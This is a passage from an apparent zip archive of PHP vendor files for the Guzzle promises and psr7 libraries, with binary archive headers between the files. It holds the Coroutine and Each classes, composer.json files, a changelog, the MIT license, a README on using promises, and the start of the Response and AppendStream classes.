 *     // Outputs "abc"
 *     $promise->then(function ($v) { echo $v; });
 *
 * @param callable $generatorFn Generator function to wrap into a promise.
 *
 * @return Promise
 *
 * @see https://github.com/petkaantonov/bluebird/blob/master/API.md#generators inspiration
 */
final class Coroutine implements PromiseInterface
{
    /**
     * @var PromiseInterface|null
     */
    private $currentPromise;

    /**
     * @var Generator
     */
    private $generator;

    /**
     * @var Promise
     */
    private $result;

    public function __construct(callable $generatorFn)
    {
        $this->generator = $generatorFn();
        $this->result = new Promise(function (): void {
            while (isset($this->currentPromise)) {
                $this->currentPromise->wait();
            }
        });
        try {
            $this->nextCoroutine($this->generator->current());
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }

    /**
     * Create a new coroutine.
     */
    public static function of(callable $generatorFn): self
    {
        return new self($generatorFn);
    }

    public function then(
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        return $this->result->then($onFulfilled, $onRejected);
    }

    public function otherwise(callable $onRejected): PromiseInterface
    {
        return $this->result->otherwise($onRejected);
    }

    public function wait(bool $unwrap = true)
    {
        return $this->result->wait($unwrap);
    }

    public function getState(): string
    {
        return $this->result->getState();
    }

    public function resolve($value): void
    {
        $this->result->resolve($value);
    }

    public function reject($reason): void
    {
        $this->result->reject($reason);
    }

    public function cancel(): void
    {
        $this->currentPromise->cancel();
        $this->result->cancel();
    }

    private function nextCoroutine($yielded): void
    {
        $this->currentPromise = Create::promiseFor($yielded)
            ->then([$this, '_handleSuccess'], [$this, '_handleFailure']);
    }

    /**
     * @internal
     */
    public function _handleSuccess($value): void
    {
        unset($this->currentPromise);
        try {
            $next = $this->generator->send($value);
            if ($this->generator->valid()) {
                $this->nextCoroutine($next);
            } else {
                $this->result->resolve($value);
            }
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }

    /**
     * @internal
     */
    public function _handleFailure($reason): void
    {
        unset($this->currentPromise);
        try {
            $nextYield = $this->generator->throw(Create::exceptionFor($reason));
            // The throw was caught, so keep iterating on the coroutine
            $this->nextCoroutine($nextYield);
        } catch (Throwable $throwable) {
            $this->result->reject($throwable);
        }
    }
}
PK
h�\V%�c
c
'vendor/guzzlehttp/promises/src/Each.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

final class Each
{
    /**
     * Given an iterator that yields promises or values, returns a promise that
     * is fulfilled with a null value when the iterator has been consumed or
     * the aggregate promise has been fulfilled or rejected.
     *
     * $onFulfilled is a function that accepts the fulfilled value, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * $onRejected is a function that accepts the rejection reason, iterator
     * index, and the aggregate promise. The callback can invoke any necessary
     * side effects and choose to resolve or reject the aggregate if needed.
     *
     * @param mixed $iterable Iterator or array to iterate over.
     */
    public static function of(
        $iterable,
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        return (new EachPromise($iterable, [
            'fulfilled' => $onFulfilled,
            'rejected' => $onRejected,
        ]))->promise();
    }

    /**
     * Like of, but only allows a certain number of outstanding promises at any
     * given time.
     *
     * $concurrency may be an integer or a function that accepts the number of
     * pending promises and returns a numeric concurrency limit value to allow
     * for dynamic a concurrency size.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     */
    public static function ofLimit(
        $iterable,
        $concurrency,
        callable $onFulfilled = null,
        callable $onRejected = null
    ): PromiseInterface {
        return (new EachPromise($iterable, [
            'fulfilled' => $onFulfilled,
            'rejected' => $onRejected,
            'concurrency' => $concurrency,
        ]))->promise();
    }

    /**
     * Like limit, but ensures that no promise in the given $iterable argument
     * is rejected. If any promise is rejected, then the aggregate promise is
     * rejected with the encountered rejection.
     *
     * @param mixed        $iterable
     * @param int|callable $concurrency
     */
    public static function ofLimitAll(
        $iterable,
        $concurrency,
        callable $onFulfilled = null
    ): PromiseInterface {
        return self::ofLimit(
            $iterable,
            $concurrency,
            $onFulfilled,
            function ($reason, $idx, PromiseInterface $aggregate): void {
                $aggregate->reject($reason);
            }
        );
    }
}
PK
h�\��d���4vendor/guzzlehttp/promises/src/PromisorInterface.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Promise;

/**
 * Interface used with classes that return a promise.
 */
interface PromisorInterface
{
    /**
     * Returns a promise.
     */
    public function promise(): PromiseInterface;
}
PK
h�\�&��@vendor/guzzlehttp/promises/vendor-bin/php-cs-fixer/composer.jsonnu�[���{
    "require": {
        "php": "^7.4 || ^8.0",
        "friendsofphp/php-cs-fixer": "3.16.0"
    },
    "config": {
        "preferred-install": "dist"
    }
}
PK
h�\(��M��9vendor/guzzlehttp/promises/vendor-bin/psalm/composer.jsonnu�[���{
    "require": {
        "php": "^7.4 || ^8.0",
        "psalm/phar": "5.9.0"
    },
    "config": {
        "preferred-install": "dist"
    }
}
PK
h�\�&��;vendor/guzzlehttp/promises/vendor-bin/phpstan/composer.jsonnu�[���{
    "require": {
        "php": "^7.4 || ^8.0",
        "phpstan/phpstan": "1.10.11",
        "phpstan/phpstan-deprecation-rules": "1.1.3"
    },
    "config": {
        "preferred-install": "dist"
    }
}
PK
h�\:���(vendor/guzzlehttp/promises/composer.jsonnu�[���{
    "name": "guzzlehttp/promises",
    "description": "Guzzle promises library",
    "keywords": ["promise"],
    "license": "MIT",
    "authors": [
        {
            "name": "Graham Campbell",
            "email": "hello@gjcampbell.co.uk",
            "homepage": "https://github.com/GrahamCampbell"
        },
        {
            "name": "Michael Dowling",
            "email": "mtdowling@gmail.com",
            "homepage": "https://github.com/mtdowling"
        },
        {
            "name": "Tobias Nyholm",
            "email": "tobias.nyholm@gmail.com",
            "homepage": "https://github.com/Nyholm"
        },
        {
            "name": "Tobias Schultze",
            "email": "webmaster@tubo-world.de",
            "homepage": "https://github.com/Tobion"
        }
    ],
    "require": {
        "php": "^7.2.5 || ^8.0"
    },
    "require-dev": {
        "bamarni/composer-bin-plugin": "^1.8.2",
        "phpunit/phpunit": "^8.5.36 || ^9.6.15"
    },
    "autoload": {
        "psr-4": {
            "GuzzleHttp\\Promise\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "GuzzleHttp\\Promise\\Tests\\": "tests/"
        }
    },
    "extra": {
        "bamarni-bin": {
            "bin-links": true,
            "forward-command": false
        }
    },
    "config": {
        "allow-plugins": {
            "bamarni/composer-bin-plugin": true
        },
        "preferred-install": "dist",
        "sort-packages": true
    }
}
PK
h�\{Z�y	y	'vendor/guzzlehttp/promises/CHANGELOG.mdnu�[���# CHANGELOG


## 2.0.2 - 2023-12-03

### Changed

- Replaced `call_user_func*` with native calls


## 2.0.1 - 2023-08-03

### Changed

- PHP 8.3 support


## 2.0.0 - 2023-05-21

### Added

- Added PHP 7 type hints

### Changed

- All previously non-final non-exception classes have been marked as soft-final

### Removed

- Dropped PHP < 7.2 support
- All functions in the `GuzzleHttp\Promise` namespace


## 1.5.3 - 2023-05-21

### Changed

- Removed remaining usage of deprecated functions


## 1.5.2 - 2022-08-07

### Changed

- Officially support PHP 8.2


## 1.5.1 - 2021-10-22

### Fixed

- Revert "Call handler when waiting on fulfilled/rejected Promise"
- Fix pool memory leak when empty array of promises provided


## 1.5.0 - 2021-10-07

### Changed

- Call handler when waiting on fulfilled/rejected Promise
- Officially support PHP 8.1

### Fixed

- Fix manually settle promises generated with `Utils::task`


## 1.4.1 - 2021-02-18

### Fixed

- Fixed `each_limit` skipping promises and failing


## 1.4.0 - 2020-09-30

### Added

- Support for PHP 8
- Optional `$recursive` flag to `all`
- Replaced functions by static methods

### Fixed

- Fix empty `each` processing
- Fix promise handling for Iterators of non-unique keys
- Fixed `method_exists` crashes on PHP 8
- Memory leak on exceptions


## 1.3.1 - 2016-12-20

### Fixed

- `wait()` foreign promise compatibility


## 1.3.0 - 2016-11-18

### Added

- Adds support for custom task queues.

### Fixed

- Fixed coroutine promise memory leak.


## 1.2.0 - 2016-05-18

### Changed

- Update to now catch `\Throwable` on PHP 7+


## 1.1.0 - 2016-03-07

### Changed

- Update EachPromise to prevent recurring on a iterator when advancing, as this
  could trigger fatal generator errors.
- Update Promise to allow recursive waiting without unwrapping exceptions.


## 1.0.3 - 2015-10-15

### Changed

- Update EachPromise to immediately resolve when the underlying promise iterator
  is empty. Previously, such a promise would throw an exception when its `wait`
  function was called.


## 1.0.2 - 2015-05-15

### Changed

- Conditionally require functions.php.


## 1.0.1 - 2015-06-24

### Changed

- Updating EachPromise to call next on the underlying promise iterator as late
  as possible to ensure that generators that generate new requests based on
  callbacks are not iterated until after callbacks are invoked.


## 1.0.0 - 2015-05-12

- Initial release
PK
h�\z�*/"vendor/guzzlehttp/promises/LICENSEnu�[���The MIT License (MIT)

Copyright (c) 2015 Michael Dowling <mtdowling@gmail.com>
Copyright (c) 2015 Graham Campbell <hello@gjcampbell.co.uk>
Copyright (c) 2017 Tobias Schultze <webmaster@tubo-world.de>
Copyright (c) 2020 Tobias Nyholm <tobias.nyholm@gmail.com>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
PK
h�\e�'�D�D$vendor/guzzlehttp/promises/README.mdnu�[���# Guzzle Promises

[Promises/A+](https://promisesaplus.com/) implementation that handles promise
chaining and resolution iteratively, allowing for "infinite" promise chaining
while keeping the stack size constant. Read [this blog post](https://blog.domenic.me/youre-missing-the-point-of-promises/)
for a general introduction to promises.

- [Features](#features)
- [Quick start](#quick-start)
- [Synchronous wait](#synchronous-wait)
- [Cancellation](#cancellation)
- [API](#api)
  - [Promise](#promise)
  - [FulfilledPromise](#fulfilledpromise)
  - [RejectedPromise](#rejectedpromise)
- [Promise interop](#promise-interop)
- [Implementation notes](#implementation-notes)


## Features

- [Promises/A+](https://promisesaplus.com/) implementation.
- Promise resolution and chaining is handled iteratively, allowing for
  "infinite" promise chaining.
- Promises have a synchronous `wait` method.
- Promises can be cancelled.
- Works with any object that has a `then` function.
- C# style async/await coroutine promises using
  `GuzzleHttp\Promise\Coroutine::of()`.


## Installation

```shell
composer require guzzlehttp/promises
```


## Version Guidance

| Version | Status                 | PHP Version  |
|---------|------------------------|--------------|
| 1.x     | Bug and security fixes | >=5.5,<8.3   |
| 2.x     | Latest                 | >=7.2.5,<8.4 |


## Quick Start

A *promise* represents the eventual result of an asynchronous operation. The
primary way of interacting with a promise is through its `then` method, which
registers callbacks to receive either a promise's eventual value or the reason
why the promise cannot be fulfilled.

### Callbacks

Callbacks are registered with the `then` method by providing an optional 
`$onFulfilled` followed by an optional `$onRejected` function.


```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(
    // $onFulfilled
    function ($value) {
        echo 'The promise was fulfilled.';
    },
    // $onRejected
    function ($reason) {
        echo 'The promise was rejected.';
    }
);
```

*Resolving* a promise means that you either fulfill a promise with a *value* or
reject a promise with a *reason*. Resolving a promise triggers callbacks
registered with the promise's `then` method. These callbacks are triggered
only once and in the order in which they were added.

### Resolving a Promise

Promises are fulfilled using the `resolve($value)` method. Resolving a promise
with any value other than a `GuzzleHttp\Promise\RejectedPromise` will trigger
all of the onFulfilled callbacks (resolving a promise with a rejected promise
will reject the promise and trigger the `$onRejected` callbacks).

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise
    ->then(function ($value) {
        // Return a value and don't break the chain
        return "Hello, " . $value;
    })
    // This then is executed after the first then and receives the value
    // returned from the first then.
    ->then(function ($value) {
        echo $value;
    });

// Resolving the promise triggers the $onFulfilled callbacks and outputs
// "Hello, reader."
$promise->resolve('reader.');
```

### Promise Forwarding

Promises can be chained one after the other. Each then in the chain is a new
promise. The return value of a promise is what's forwarded to the next
promise in the chain. Returning a promise in a `then` callback will cause the
subsequent promises in the chain to only be fulfilled when the returned promise
has been fulfilled. The next promise in the chain will be invoked with the
resolved value of the promise.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$nextPromise = new Promise();

$promise
    ->then(function ($value) use ($nextPromise) {
        echo $value;
        return $nextPromise;
    })
    ->then(function ($value) {
        echo $value;
    });

// Triggers the first callback and outputs "A"
$promise->resolve('A');
// Triggers the second callback and outputs "B"
$nextPromise->resolve('B');
```

### Promise Rejection

When a promise is rejected, the `$onRejected` callbacks are invoked with the
rejection reason.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    echo $reason;
});

$promise->reject('Error!');
// Outputs "Error!"
```

### Rejection Forwarding

If an exception is thrown in an `$onRejected` callback, subsequent
`$onRejected` callbacks are invoked with the thrown exception as the reason.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    throw new Exception($reason);
})->then(null, function ($reason) {
    assert($reason->getMessage() === 'Error!');
});

$promise->reject('Error!');
```

You can also forward a rejection down the promise chain by returning a
`GuzzleHttp\Promise\RejectedPromise` in either an `$onFulfilled` or
`$onRejected` callback.

```php
use GuzzleHttp\Promise\Promise;
use GuzzleHttp\Promise\RejectedPromise;

$promise = new Promise();
$promise->then(null, function ($reason) {
    return new RejectedPromise($reason);
})->then(null, function ($reason) {
    assert($reason === 'Error!');
});

$promise->reject('Error!');
```

If an exception is not thrown in a `$onRejected` callback and the callback
does not return a rejected promise, downstream `$onFulfilled` callbacks are
invoked using the value returned from the `$onRejected` callback.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise();
$promise
    ->then(null, function ($reason) {
        return "It's ok";
    })
    ->then(function ($value) {
        assert($value === "It's ok");
    });

$promise->reject('Error!');
```


## Synchronous Wait

You can synchronously force promises to complete using a promise's `wait`
method. When creating a promise, you can provide a wait function that is used
to synchronously force a promise to complete. When a wait function is invoked
it is expected to deliver a value to the promise or reject the promise. If the
wait function does not deliver a value, then an exception is thrown. The wait
function provided to a promise constructor is invoked when the `wait` function
of the promise is called.

```php
$promise = new Promise(function () use (&$promise) {
    $promise->resolve('foo');
});

// Calling wait will return the value of the promise.
echo $promise->wait(); // outputs "foo"
```

If an exception is encountered while invoking the wait function of a promise,
the promise is rejected with the exception and the exception is thrown.

```php
$promise = new Promise(function () use (&$promise) {
    throw new Exception('foo');
});

$promise->wait(); // throws the exception.
```

Calling `wait` on a promise that has been fulfilled will not trigger the wait
function. It will simply return the previously resolved value.

```php
$promise = new Promise(function () { die('this is not called!'); });
$promise->resolve('foo');
echo $promise->wait(); // outputs "foo"
```

Calling `wait` on a promise that has been rejected will throw an exception. If
the rejection reason is an instance of `\Exception` the reason is thrown.
Otherwise, a `GuzzleHttp\Promise\RejectionException` is thrown and the reason
can be obtained by calling the `getReason` method of the exception.

```php
$promise = new Promise();
$promise->reject('foo');
$promise->wait();
```

> PHP Fatal error:  Uncaught exception 'GuzzleHttp\Promise\RejectionException' with message 'The promise was rejected with value: foo'

### Unwrapping a Promise

When synchronously waiting on a promise, you are joining the state of the
promise into the current state of execution (i.e., return the value of the
promise if it was fulfilled or throw an exception if it was rejected). This is
called "unwrapping" the promise. Waiting on a promise will by default unwrap
the promise state.

You can force a promise to resolve and *not* unwrap the state of the promise
by passing `false` to the first argument of the `wait` function:

```php
$promise = new Promise();
$promise->reject('foo');
// This will not throw an exception. It simply ensures the promise has
// been resolved.
$promise->wait(false);
```

When unwrapping a promise, the resolved value of the promise will be waited
upon until the unwrapped value is not a promise. This means that if you resolve
promise A with a promise B and unwrap promise A, the value returned by the
wait function will be the value delivered to promise B.

**Note**: when you do not unwrap the promise, no value is returned.


## Cancellation

You can cancel a promise that has not yet been fulfilled using the `cancel()`
method of a promise. When creating a promise you can provide an optional
cancel function that when invoked cancels the action of computing a resolution
of the promise.


## API

### Promise

When creating a promise object, you can provide an optional `$waitFn` and
`$cancelFn`. `$waitFn` is a function that is invoked with no arguments and is
expected to resolve the promise. `$cancelFn` is a function with no arguments
that is expected to cancel the computation of a promise. It is invoked when the
`cancel()` method of a promise is called.

```php
use GuzzleHttp\Promise\Promise;

$promise = new Promise(
    function () use (&$promise) {
        $promise->resolve('waited');
    },
    function () {
        // do something that will cancel the promise computation (e.g., close
        // a socket, cancel a database query, etc...)
    }
);

assert('waited' === $promise->wait());
```

A promise has the following methods:

- `then(callable $onFulfilled, callable $onRejected) : PromiseInterface`
  
  Appends fulfillment and rejection handlers to the promise, and returns a new promise resolving to the return value of the called handler.

- `otherwise(callable $onRejected) : PromiseInterface`
  
  Appends a rejection handler callback to the promise, and returns a new promise resolving to the return value of the callback if it is called, or to its original fulfillment value if the promise is instead fulfilled.

- `wait($unwrap = true) : mixed`

  Synchronously waits on the promise to complete.
  
  `$unwrap` controls whether or not the value of the promise is returned for a
  fulfilled promise or if an exception is thrown if the promise is rejected.
  This is set to `true` by default.

- `cancel()`

  Attempts to cancel the promise if possible. The promise being cancelled and
  the parent most ancestor that has not yet been resolved will also be
  cancelled. Any promises waiting on the cancelled promise to resolve will also
  be cancelled.

- `getState() : string`

  Returns the state of the promise. One of `pending`, `fulfilled`, or
  `rejected`.

- `resolve($value)`

  Fulfills the promise with the given `$value`.

- `reject($reason)`

  Rejects the promise with the given `$reason`.


### FulfilledPromise

A fulfilled promise can be created to represent a promise that has been
fulfilled.

```php
use GuzzleHttp\Promise\FulfilledPromise;

$promise = new FulfilledPromise('value');

// Fulfilled callbacks are immediately invoked.
$promise->then(function ($value) {
    echo $value;
});
```


### RejectedPromise

A rejected promise can be created to represent a promise that has been
rejected.

```php
use GuzzleHttp\Promise\RejectedPromise;

$promise = new RejectedPromise('Error');

// Rejected callbacks are immediately invoked.
$promise->then(null, function ($reason) {
    echo $reason;
});
```


## Promise Interoperability

This library works with foreign promises that have a `then` method. This means
you can use Guzzle promises with [React promises](https://github.com/reactphp/promise)
for example. When a foreign promise is returned inside of a then method
callback, promise resolution will occur recursively.

```php
// Create a React promise
$deferred = new React\Promise\Deferred();
$reactPromise = $deferred->promise();

// Create a Guzzle promise that is fulfilled with a React promise.
$guzzlePromise = new GuzzleHttp\Promise\Promise();
$guzzlePromise->then(function ($value) use ($reactPromise) {
    // Do something something with the value...
    // Return the React promise
    return $reactPromise;
});
```

Please note that wait and cancel chaining is no longer possible when forwarding
a foreign promise. You will need to wrap a third-party promise with a Guzzle
promise in order to utilize wait and cancel functions with foreign promises.


### Event Loop Integration

In order to keep the stack size constant, Guzzle promises are resolved
asynchronously using a task queue. When waiting on promises synchronously, the
task queue will be automatically run to ensure that the blocking promise and
any forwarded promises are resolved. When using promises asynchronously in an
event loop, you will need to run the task queue on each tick of the loop. If
you do not run the task queue, then promises will not be resolved.

You can run the task queue using the `run()` method of the global task queue
instance.

```php
// Get the global task queue
$queue = GuzzleHttp\Promise\Utils::queue();
$queue->run();
```

For example, you could use Guzzle promises with React using a periodic timer:

```php
$loop = React\EventLoop\Factory::create();
$loop->addPeriodicTimer(0, [$queue, 'run']);
```


## Implementation Notes

### Promise Resolution and Chaining is Handled Iteratively

By shuffling pending handlers from one owner to another, promises are
resolved iteratively, allowing for "infinite" then chaining.

```php
<?php
require 'vendor/autoload.php';

use GuzzleHttp\Promise\Promise;

$parent = new Promise();
$p = $parent;

for ($i = 0; $i < 1000; $i++) {
    $p = $p->then(function ($v) {
        // The stack size remains constant (a good thing)
        echo xdebug_get_stack_depth() . ', ';
        return $v + 1;
    });
}

$parent->resolve(0);
var_dump($p->wait()); // int(1000)

```

When a promise is fulfilled or rejected with a non-promise value, the promise
then takes ownership of the handlers of each child promise and delivers values
down the chain without using recursion.

When a promise is resolved with another promise, the original promise transfers
all of its pending handlers to the new promise. When the new promise is
eventually resolved, all of the pending handlers are delivered the forwarded
value.

### A Promise is the Deferred

Some promise libraries implement promises using a deferred object to represent
a computation and a promise object to represent the delivery of the result of
the computation. This is a nice separation of computation and delivery because
consumers of the promise cannot modify the value that will be eventually
delivered.

One side effect of being able to implement promise resolution and chaining
iteratively is that you need to be able for one promise to reach into the state
of another promise to shuffle around ownership of handlers. In order to achieve
this without making the handlers of a promise publicly mutable, a promise is
also the deferred value, allowing promises of the same parent class to reach
into and modify the private properties of promises of the same type. While this
does allow consumers of the value to modify the resolution or rejection of the
deferred, it is a small price to pay for keeping the stack size constant.

```php
$promise = new Promise();
$promise->then(function ($value) { echo $value; });
// The promise is the deferred value, so you can deliver a value to it.
$promise->resolve('foo');
// prints "foo"
```


## Upgrading from Function API

A static API was first introduced in 1.4.0, in order to mitigate problems with
functions conflicting between global and local copies of the package. The
function API was removed in 2.0.0. A migration table has been provided here for
your convenience:

| Original Function | Replacement Method |
|----------------|----------------|
| `queue` | `Utils::queue` |
| `task` | `Utils::task` |
| `promise_for` | `Create::promiseFor` |
| `rejection_for` | `Create::rejectionFor` |
| `exception_for` | `Create::exceptionFor` |
| `iter_for` | `Create::iterFor` |
| `inspect` | `Utils::inspect` |
| `inspect_all` | `Utils::inspectAll` |
| `unwrap` | `Utils::unwrap` |
| `all` | `Utils::all` |
| `some` | `Utils::some` |
| `any` | `Utils::any` |
| `settle` | `Utils::settle` |
| `each` | `Each::of` |
| `each_limit` | `Each::ofLimit` |
| `each_limit_all` | `Each::ofLimitAll` |
| `!is_fulfilled` | `Is::pending` |
| `is_fulfilled` | `Is::fulfilled` |
| `is_rejected` | `Is::rejected` |
| `is_settled` | `Is::settled` |
| `coroutine` | `Coroutine::of` |


## Security

If you discover a security vulnerability within this package, please send an email to security@tidelift.com. All security vulnerabilities will be promptly addressed. Please do not disclose security-related issues publicly until a fix has been announced. Please see [Security Policy](https://github.com/guzzle/promises/security/policy) for more information.


## License

Guzzle is made available under the MIT License (MIT). Please see [License File](LICENSE) for more information.


## For Enterprise

Available as part of the Tidelift Subscription

The maintainers of Guzzle and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. [Learn more.](https://tidelift.com/subscription/pkg/packagist-guzzlehttp-promises?utm_source=packagist-guzzlehttp-promises&utm_medium=referral&utm_campaign=enterprise&utm_term=repo)
PK
h�\���**'vendor/guzzlehttp/psr7/src/Response.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;

/**
 * PSR-7 response implementation.
 */
class Response implements ResponseInterface
{
    use MessageTrait;

    /** Map of standard HTTP status code/reason phrases */
    private const PHRASES = [
        100 => 'Continue',
        101 => 'Switching Protocols',
        102 => 'Processing',
        200 => 'OK',
        201 => 'Created',
        202 => 'Accepted',
        203 => 'Non-Authoritative Information',
        204 => 'No Content',
        205 => 'Reset Content',
        206 => 'Partial Content',
        207 => 'Multi-status',
        208 => 'Already Reported',
        300 => 'Multiple Choices',
        301 => 'Moved Permanently',
        302 => 'Found',
        303 => 'See Other',
        304 => 'Not Modified',
        305 => 'Use Proxy',
        306 => 'Switch Proxy',
        307 => 'Temporary Redirect',
        308 => 'Permanent Redirect',
        400 => 'Bad Request',
        401 => 'Unauthorized',
        402 => 'Payment Required',
        403 => 'Forbidden',
        404 => 'Not Found',
        405 => 'Method Not Allowed',
        406 => 'Not Acceptable',
        407 => 'Proxy Authentication Required',
        408 => 'Request Time-out',
        409 => 'Conflict',
        410 => 'Gone',
        411 => 'Length Required',
        412 => 'Precondition Failed',
        413 => 'Request Entity Too Large',
        414 => 'Request-URI Too Large',
        415 => 'Unsupported Media Type',
        416 => 'Requested range not satisfiable',
        417 => 'Expectation Failed',
        418 => 'I\'m a teapot',
        422 => 'Unprocessable Entity',
        423 => 'Locked',
        424 => 'Failed Dependency',
        425 => 'Unordered Collection',
        426 => 'Upgrade Required',
        428 => 'Precondition Required',
        429 => 'Too Many Requests',
        431 => 'Request Header Fields Too Large',
        451 => 'Unavailable For Legal Reasons',
        500 => 'Internal Server Error',
        501 => 'Not Implemented',
        502 => 'Bad Gateway',
        503 => 'Service Unavailable',
        504 => 'Gateway Time-out',
        505 => 'HTTP Version not supported',
        506 => 'Variant Also Negotiates',
        507 => 'Insufficient Storage',
        508 => 'Loop Detected',
        510 => 'Not Extended',
        511 => 'Network Authentication Required',
    ];

    /** @var string */
    private $reasonPhrase;

    /** @var int */
    private $statusCode;

    /**
     * @param int                                  $status  Status code
     * @param (string|string[])[]                  $headers Response headers
     * @param string|resource|StreamInterface|null $body    Response body
     * @param string                               $version Protocol version
     * @param string|null                          $reason  Reason phrase (when empty a default will be used based on the status code)
     */
    public function __construct(
        int $status = 200,
        array $headers = [],
        $body = null,
        string $version = '1.1',
        string $reason = null
    ) {
        $this->assertStatusCodeRange($status);

        $this->statusCode = $status;

        if ($body !== '' && $body !== null) {
            $this->stream = Utils::streamFor($body);
        }

        $this->setHeaders($headers);
        if ($reason == '' && isset(self::PHRASES[$this->statusCode])) {
            $this->reasonPhrase = self::PHRASES[$this->statusCode];
        } else {
            $this->reasonPhrase = (string) $reason;
        }

        $this->protocol = $version;
    }

    public function getStatusCode(): int
    {
        return $this->statusCode;
    }

    public function getReasonPhrase(): string
    {
        return $this->reasonPhrase;
    }

    public function withStatus($code, $reasonPhrase = ''): ResponseInterface
    {
        $this->assertStatusCodeIsInteger($code);
        $code = (int) $code;
        $this->assertStatusCodeRange($code);

        $new = clone $this;
        $new->statusCode = $code;
        if ($reasonPhrase == '' && isset(self::PHRASES[$new->statusCode])) {
            $reasonPhrase = self::PHRASES[$new->statusCode];
        }
        $new->reasonPhrase = (string) $reasonPhrase;

        return $new;
    }

    /**
     * @param mixed $statusCode
     */
    private function assertStatusCodeIsInteger($statusCode): void
    {
        if (filter_var($statusCode, FILTER_VALIDATE_INT) === false) {
            throw new \InvalidArgumentException('Status code must be an integer value.');
        }
    }

    private function assertStatusCodeRange(int $statusCode): void
    {
        if ($statusCode < 100 || $statusCode >= 600) {
            throw new \InvalidArgumentException('Status code must be an integer value between 1xx and 5xx.');
        }
    }
}
PK
h�\��'�;;+vendor/guzzlehttp/psr7/src/AppendStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Reads from multiple streams, one after the other.
 *
 * This is a read-only stream decorator.
 */
final class AppendStream implements StreamInterface
{
    /** @var StreamInterface[] Streams being decorated */
    private $streams = [];

    /** @var bool */
    private $seekable = true;

    /** @var int */
    private $current = 0;

    /** @var int */
    private $pos = 0;

    /**
     * @param StreamInterface[] $streams Streams to decorate. Each stream must
     *                                   be readable.
     */
    public function __construct(array $streams = [])
    {
        foreach ($streams as $stream) {
            $this->addStream($stream);
        }
    }

    public function __toString(): string
    {
        try {
            $this->rewind();

            return $this->getContents();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    /**
     * Add a stream to the AppendStream
     *
     * @param StreamInterface $stream Stream to append. Must be readable.
     *
     * @throws \InvalidArgumentException if the stream is not readable
     */
    public function addStream(StreamInterface $stream): void
    {
        if (!$stream->isReadable()) {
            throw new \InvalidArgumentException('Each stream must be readable');
        }

        // The stream is only seekable if all streams are seekable
        if (!$stream->isSeekable()) {
            $this->seekable = false;
        }

        $this->streams[] = $stream;
    }

    public function getContents(): string
    {
        return Utils::copyToString($this);
    }

    /**
     * Closes each attached stream.
     */
    public function close(): void
    {
        $this->pos = $this->current = 0;
        $this->seekable = true;

        foreach ($this->streams as $stream) {
            $stream->close();
        }

        $this->streams = [];
    }

    /**
     * Detaches each attached stream.
     *
     * Returns null as it's not clear which underlying stream resource to return.
     */
    public function detach()
    {
        $this->pos = $this->current = 0;
        $this->seekable = true;

        foreach ($this->streams as $stream) {
            $stream->detach();
        }

        $this->streams = [];

        return null;
    }

    public function tell(): int
    {
        return $this->pos;
    }

    /**
     * Tries to calculate the size by adding the size of each stream.
     *
     * If any of the streams do not return a valid number, then the size of the
     * append stream cannot be determined and null is returned.
     */
    public function getSize(): ?int
    {
        $size = 0;

        foreach ($this->streams as $stream) {
            $s = $stream->getSize();
            if ($s === null) {
                return null;
            }
            $size += $s;
        }

        return $size;
    }

    public function eof(): bool
    {
        return !$this->streams
            || ($this->current >= count($this->streams) - 1
             && $this->streams[$this->current]->eof());
    }

    public function rewind(): void
    {
        $this->seek(0);
    }

    /**
     * Attempts to seek to the given position. Only supports SEEK_SET.
     */
    public function seek($offset, $whence = SEEK_SET): void
    {
        if (!$this->seekable) {
            throw new \RuntimeException('This AppendStream is not seekable');
        } elseif ($whence !== SEEK_SET) {
            throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
        }

        $this->pos = $this->current = 0;

        // Rewind each stream
        foreach ($this->streams as $i => $stream) {
            try {
                $stream->rewind();
            } catch (\Exception $e) {
                throw new \RuntimeException('Unable to seek stream '
                    .$i.' of the AppendStream', 0, $e);
            }
        }

        // Seek to the actual position by reading from each stream
        while ($this->pos < $offset && !$this->eof()) {
            $result = $this->read(min(8096, $offset - $this->pos));
            if ($result === '') {
